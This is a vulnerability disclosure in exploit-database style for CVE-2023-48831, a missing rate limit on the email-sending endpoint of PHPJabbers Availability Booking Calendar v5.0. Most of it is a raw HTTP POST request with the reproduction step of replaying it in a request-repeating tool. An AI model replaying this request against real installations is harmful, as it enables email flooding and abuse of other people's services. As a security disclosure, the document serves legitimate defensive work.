# Exploit Title: PHPJabbers Availability Booking Calendar v5.0 - No Rate Limit in Email # Date: 19/11/2023 # Exploit Author: BugsBD Limited # Discover by: Rahad Chowdhury # Vendor Homepage: https://www.phpjabbers.com/ # Software Link: https://www.phpjabbers.com/availability-booking-calendar/#sectionDemo # Version: v5.0 # Tested on: Windows 10, Windows 11, Linux # CVE-2023-48831 Descriptions: Rate limiting is implemented in web applications and APIs to prevent abuse, such as brute-force attacks or excessive requests that could lead to resource exhaustion. When a rate limit is bypassed or not properly enforced, it opens the door for attackers to carry out malicious activities more quickly than intended, potentially leading to unauthorized access, data breaches, or service disruption. Steps to Reproduce: 1. Request Data: POST /1701526313_862/index.php?controller=pjBaseOptions&action=pjActionAjaxSend HTTP/1.1 Host: localhost Cookie: _ga=GA1.2.1947184974.1699512498; _fbp=fb.1.1699512498084.844079488; _ga_NME5VTTGTT=GS1.2.1701527599.5.1.1701527608.51.0.0; _gcl_au=1.1.1109346785.1700383352; _hjSessionUser_2841064=eyJpZCI6ImVlNjRmZTlkLTlmMDAtNWJmMC05OTk1LWE4ODQzMmNiMGQ0OSIsImNyZWF0ZWQiOjE3MDAzODMzNTQyMDYsImV4aXN0aW5nIjp0cnVlfQ==; pj_sid=PJ1.0.3350592650.1700383356; pj_so=PJ1.0.9822262006.1700383356; CarRental=pb6krbqhp0ugdgduc39iagulp2; pjd=fmfk4mh95jvo519v16tcbmfte4; PHPSESSID=91h58pp95vek8qpp4jj62srb23; ShuttleBooking=uhei7cs26l7eoen1bfja4ciaq2; TSBCalendar=k2502gveirj5nhpo9ofnbpnrv2; ABCalendar=lkoj2qi9cq5dib87qothkc9d77; _gid=GA1.2.1184409840.1701527598; _gat=1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/119.0 Accept: */* Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate, br Content-Type: application/x-www-form-urlencoded; charset=UTF-8 X-Requested-With: XMLHttpRequest Content-Length: 502 Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Te: trailers Connection: close options_update=1&next_action=pjActionEmailSettings&email=test1%40test.com&value-enum-o_send_email=mail%7Csmtp%3A%3Amail&value-string-o_smtp_host=&value-int-o_smtp_port=25&value-string-o_smtp_user=&value-string-o_smtp_pass=&value-enum-o_smtp_secure=none%7Cssl%7Ctls%3A%3Anone&value-enum-o_smtp_auth=LOGIN%7CPLAIN%3A%3ALOGIN&o_smtp_seder_email_same_as_username=on&value-enum-o_smtp_seder_email_same_as_username=Yes%7CNo%3A%3AYes&value-string-o_sender_email=test%40test.com&value-string-o_sender_name=Test 2. Send it to intruder and configure then attack. ## Reproduce: [href](https://github.com/bugsbd/CVE/tree/main/2023/CVE-2023-48831)